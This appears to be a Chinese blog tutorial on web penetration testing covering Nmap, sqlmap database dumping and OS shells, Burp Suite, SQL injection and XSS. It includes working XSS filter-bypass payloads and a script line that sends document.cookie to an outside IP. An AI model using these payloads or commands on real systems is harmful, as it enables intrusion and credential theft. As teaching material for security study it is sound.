Web安全攻防渗透

1. Nmap的基本

 

Nmap + ip 6+ ip

 

Nmap -A 开启操作系统识别和版本识别功能

 

– T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现

 

-v 显示信息的级别,-vv显示更详细的信息

 

192.168.1.1/24 扫描C段 192.168.11 -254 =上

 

nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中)

 

       --------------- 192.168.1.1/24 --exclude 192.168.1.100 (排除在外的目标 .100)

 

       --------------- -----------------excludefile ~/targets.txt

 

       nmap 192.168.1.1 -p 80.443 网站 是否在这个端口部署网站

 

       nmap –traceroute 192.168.1.1 探测路由

 

       nmap -O 192.168.1.1 对目标进行指纹识别

 

       nmap -sV ---------- 对版本进行探测

 

       nmap -sF -T4 192.168.1.1 利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 后者 fileter状态。 (利用三次握手,可以绕开防火墙)

 

       nmap –script=auth+ip 处理鉴权证书的脚本,也可以作为检测部分应用弱口令

 

       -----------=brute+ip 暴力破解

 

       扫描脚本介绍:

 

位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts

 

脚本类型:

 

 

 

ll /usr/share/nmap/scripts | grep ^- | wc -l

 

 

 

使用介绍:

 

nmap --script=auth 192.168.137.*

 

负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令

 

nmap --script=brute 192.168.137.*

 

提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解

 

nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*

 

默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。

 

nmap --script=vuln 192.168.137.*

 

检查是否存在常见漏洞

 

nmap -n -p445 --script=broadcast 192.168.137.4

 

 

 

在局域网内探查更多服务开启状况

 

 

 

zenmap

 

 

 

Nmap 的图形化界面:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2.SQLmap 简介

 

 

 

是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。

 

 

 

支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

 

 

 

 

 

 

 

 

 

 

 

(1) 安装sqlmap前,需要先安装Python3.X

 

 

 

https://www.python.org/downloads/windows/

 

 

 

(2) 在环境变量path中,增加python3.x 安装路径

 

 

 

(3) 下载sqlmap并解压缩:

 

 

 

地址:https://sqlmap.org/

 

 

 

Python sqlmap.py -u http://xxx.xxx.xxx/

 

 

 

Python sqlmap.py –help 查看帮助 borp

 

 

 

 sqlmap支持五种不同的注入模式:

 

 

 

UNION query SQL injection(可联合查询注入)

 

uError-based SQL injection(报错型注入)

 

uBoolean-based blind SQL injection(布尔型注入)

 

uTime-based blind SQL injection(基于时间延迟注入)

 

uStacked queries SQL injection(可多语句查询注入)

 

 

 

 

 

2.sqlmap 常用命令参数

 

 

 

-u /--url 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”

 

 

 

-m 从文本中获取多个目标扫描,但是每一个一个url. sqlmap -m urllist.txt

 

 

 

-r 从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据….

 

 

 

--dbs 返回当前连接的数据库

 

 

 

--current-db 返回当前网站数据库的数据库用户

 

 

 

-D 指定数据库系统的数据库名

 

 

 

--tables 列举数据库表

 

 

 

-T 指定数据库表名

 

 

 

--columns 列举数据库表中的字段

 

 

 

-C 指定数据库表中的字段名

 

 

 

--dump 获取整个表的数据

 

 

 

 

 

 

 

3.设置回显等级

 

 

 

参数: -v默认为1

 

 

 

0 只显示python错误以及严重的信息

 

 

 

1 基本信息和警告信息

 

 

 

2 debug信息

 

 

 

3 注入的payload

 

 

 

(级别越高显示信息越多)

 

 

 

 4同时显示HTTP请求。

 

 

 

5同时显示HTTP响应头。

 

 

 

6同事显示HTTP响应页面。

 

 

 

--data 把数以post方式提交,sqlmap会像检测GET参数一样检测POST过去的参数。

 

 

 

--cookie (用于区分用户)

 

 

 

可能会有漏洞,当web登录时,抓取数据包。

 

 

 

 4.设置HTTP数据包相关参数

 

 

 

HTTP User-Agent 头

 

 

 

参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。

 

 

 

sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs

 

 

 

sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞

 

 

 

 

 

 

 

5.设定探测等级:--level

 

 

 

共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到

 

 

 

--users 列数据库管理用户

 

 

 

--current-user 在数据库中,目前连接的用户

 

 

 

--is-dba 判断当前是否为管理,是的话返回true

 

 

 

--proxy 指定一个代理服务器 eg: -proxy http://xxxxxx.8080

 

 

 

--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限

 

 

 

 6.Sqlmap“六步”

 

 

 

第一步:判断是否注是注入点

 

 

 

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”

 

 

 

检测该网站是否存在漏洞 白色加粗字体为注入点 也就是攻击对象

 

 

 

 

 

 

 

 

 

 

 

 

 

第二步:获取数据库

 

 

 

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs

 

 

 

 

 

 

 

 

 

 

 

 

 

第三步:查看当前应用程序所用数据库

 

 

 

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --current-db

 

 

 

 

 

 

 

 

 

 

 

 

 

四:列出指定数据库的所有表

 

 

 

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security(目标数据库)”—tables

 

 

 

 

 

 

 

 

 

 

 

 

 

五:读取指定表中的字段名称

 

 

 

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms

 

 

 

 

 

 

 

 

 

 

 

 

 

六:读取指定字段内容

 

 

 

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump(dump=下载,脱库)

 

 

 

 

 

判断当前数据库用户权限:

 

 

 

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba

 

 

 

如果是TRUE ,那么权限该用户很大。

 

 

 

 

 

 

 

 

 

 

 

 

 

-roles 列出数据库管理员角色

 

 

 

 如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,

 

 

 

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

 

 

 

 

 

 

 

 

 

 

 

 

 

-referer HTTPReferer头

 

 

 

当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net

 

 

 

-sql-shell 运行自定义的sql语句

 

 

 

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

 

 

 

运行任意操作系统命令:

 

 

 

选择后台语言

 

 

 

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

 

 

 

 

 

 

 

 

 

 

 

 

 

--os-cmd=whoami

 

 

 

--os-shell

 

 

 

(以你的电脑为跳板,对局域网进行渗透,或留后门)

 

 

 

--file-read 从数据库服务器中读取文件 :当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

 

 

 

上传文件到数据库服务器中:

 

 

 

--file-write

 

 

 

--file-dest

 

 

 

读取指定数据库用户的密码

 

 

 

sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root

 

 

 

 

 

 

 

 

 

 

 

 

 

SQLMAP进阶 常用tamper脚本

 

 

 

  apostrophemask.py 将引号替换为utf-8,用于过滤单引号 (易容术)

 

 

 

适用数据库:ALL

 

 

 

作用:将引号替换为utf-8,用于过滤单引号

 

 

 

使用脚本前:tamper("1 AND '1'='1")

 

 

 

使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

 

 

 

  multiplespaces.py 围绕sql关键字添加多个空格 去绕过

 

 

 

适用数据库:ALL

 

 

 

作用:围绕sql关键字添加多个空格

 

 

 

使用脚本前:tamper('1 UNION SELECT foobar')

 

 

 

使用脚本后:1 UNION SELECT foobar

 

 

 

 

 

 

 

3. Burp Suite工具

 

 

 

一.配置及代理设置

 

 

 

1.使用前配置

 

 

 

①选择代理Proxy选项卡

 

 

 

②选择设置option选项卡

 

 

 

③Edit Running打勾 124.0.0.1:8080

 

 

 

 

 

配置成功

 

 

 

 

 

 

 

历史访问

 

 

 

 

 

二.功能模块讲解

 

 

 

 

 

模块介绍

 

send to spider 发送给爬虫模块

 

do a active scan 进行一次主动扫描

 

send to intruder 发送给爆破模块

 

send to repearter 发送给重放模块

 

send to comparer 发送给比对模块

 

send to decoder 发送给解码模块

 

request in browser 将请求在浏览器重放

 

 四:MYSQL与SQL注入

 

mysql知识点- 基本查询语句

 

查询表中全部信息: select *from 表明-关键的函数

select+以下语句

 

       version() 数据库版本

 

       database() 数据库名

 

       user() 用户名

 

       current_user() 当前用户名

 

       system_user() 系统用户名

 

       @@datadir 数据库路径

 

       @@version_compile_os 操作系统版本

 

-order by(排序) 语法

 

-联合查询

 

order by 1—

 

order by 2—确定字段数

 

   使用UNION操作符注入另外一个select查询,并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据

 

  注意: 相同的列结构

 

               需要有知道表结构,列结构

 

       exists()函数猜解表明

 

       information_schema 是一个mysql系统自带的元数据库

 

information_schema.SCHEMATA 查看所有的数据库

 

 

 

 

 

五、 XSS基础

 

1、什么是XSS?

 

       中文名为跨站脚本攻击,跨站脚本,(Cross-Site Scripting, XSS),当目标网站用户在渲染HTML文档的过程中,出现非预期的脚本指令并执行时,XSS就发生了。

 

2、攻击者给予应用恶意XSS代码,导致用户访问应用或服务器时执行代码,导致被XSS攻击。

 

  攻击者→服务器→用户(xss是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载)

 

3、XSS的危害: 1.网络钓鱼,包括盗取各类用户的账号

 

                            2.窃取用户cookies资料,从而获取用户信息。

 

                            3.获取客户端信息,IP/端口等

 

                            4.劫持用户浏览器会话,从而执行任意操作

 

                            5.强制弹出窗口。

 

                            6.网页挂马,进行恶意操作

 

                            7.进行大量的客户端攻击 如DDoS攻击

 

                            8.控制受害者机器向其他客户端攻击

 

4、XSS分类 

 

①反射型 :非持久型,调取用户cookie或者进行钓鱼,常常为通过引诱用户点击一个恶意链接来实施攻击。

 

(特点:

 

① 主要用于将恶意脚本附加到URL地址的参数中

 

② 只在用户单击url时触发,而且只执行一次,非持久化

 

③常用来窃取客户端 Cookies

 

或进行钓鱼欺骗.

 

④常常为通过引诱用户点击一

 

个恶意链接来实施攻击的)

 

name为可控参数

 

 

 

 

 

 

 

我们可以通过执行恶意代码弹窗,那么也能做些对我们有利的事情。

 

       当我们构造好了如下恶意代码,发送给受害者。

 

<script>alert(document.cookie)</script>

 

       将会弹出用户的cookie值,我们构造js代码,将该cookie值发送至我们自己的服务器,或者用XSS平台接收该cookie(例如https://xsshs.cn/),我们就能通过该cookie非法登录受害者的账户。

 

 

 

 

 

 

 

 

 

②存储型 :渗透 挂马 蠕虫病毒     出现在网站的留言、评论、日志等交互处,被存储在数据库或者客户端中,等再次浏览时受到攻击。

 

(特点:① 恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性

 

       ② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全.

 

       ③ 一般出现在网站的留言、评论、日志等交互处,)

 

页面原理:

 

  POST提交数据,生成、读取文本模拟数据库,

 

提交数据之后页面会将数据写入sql.txt,

 

  再打开页面时会读取sql.txt中内容并显示在网页上,

 

实现了存储型xss攻击模拟。

 

当输入恶意代码,即会执行<script>alert('xss')</script>

 

并且恶意代码会一直存储在服务器,每当有用户访问该页面,即会触发恶意代码

 

 

 

 

 

 

 

利用XSS弹出恶意警告框

    <script>alert('hacked by cl4y')</script>

 

 网页不停刷新

<meta http-equiv= 'refresh' content= '0' > http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv= 'refresh' content= '0' >

 

获得cookie

<script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>

 

劫持流量(跳转到你的博客强行吸粉)

<script>window.location.href="http://www.cl4y.top";</script>

 

 

 

③dom型: 将XSS代码嵌入dom文档(每一个网页),通过JS脚本对文档对象进行编辑从而修改页面元素,增加漏洞。

 

 xss平台

 

1.获取COOKIE(这是必须的最基本的功能)

 

2.获取源码(取当前网页的源码)

 

3.截图(可自己修改为连续截图)

 

4.……………

 

https://xss.pt

 

https://xssaq.com

 

XSS利用——无任何过滤

<scirpt>

<scirpt>alert(1);</script>

<img>

<img src=1 οnerrοr=alert("xss");>         //onerror等事件,可以调用js

<input>

<input οnfοcus="alert('xss');" autofocus>

<svg>

<svg οnlοad=alert("xss");>

<iframe>

<iframe οnlοad=alert("xss");></iframe>

<iframe src=javascript:alert('xss');></iframe>      //src中支持伪协议

<textarea>

<textarea οnfοcus=alert("xss"); autofocus>

往往用户可控的参数都进行了过滤,不会让你用一个<script>标签就轻易攻击成功

<script>shellcode</script>

 

XXS绕过:

 

关键字绕过

空格绕过

用/代替空格 <img/src="x"/οnerrοr=alert("xss");>

关键字绕过

大小写绕过  <ImG sRc=x onerRor=alert("xss");>

利用其他标签

双写关键字  <imimgg srsrcc=x οnerrοr=alert("xss");>

字符拼接      <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

             <script>top["al"+"ert"](`xss`);</script>

           

利用函数进行编码绕过

Unicode绕过

<img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函数进行编码绕过

ASCII码

<img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

Hex绕过

<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

Base64编码

<img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">           

过滤括号

当括号被过滤的时候可以使用throw来绕过

<svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //异常处理

反引号

<img src=x οnerrοr=alert`1`>

过滤双引号,单引号

反引号

<img src=1 οnerrοr=alert`1`;>

js事件

当某个位置的可控点在一个标签内,那么或许可以通过js事件来完成xss操作

<img src=1 οnerrοr=alert`1`;>

 

 

 

 

 

 

混淆:

利用html标签格式的不严格、容错性。

关键字中加空格

加TAB

回车

url编码

<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值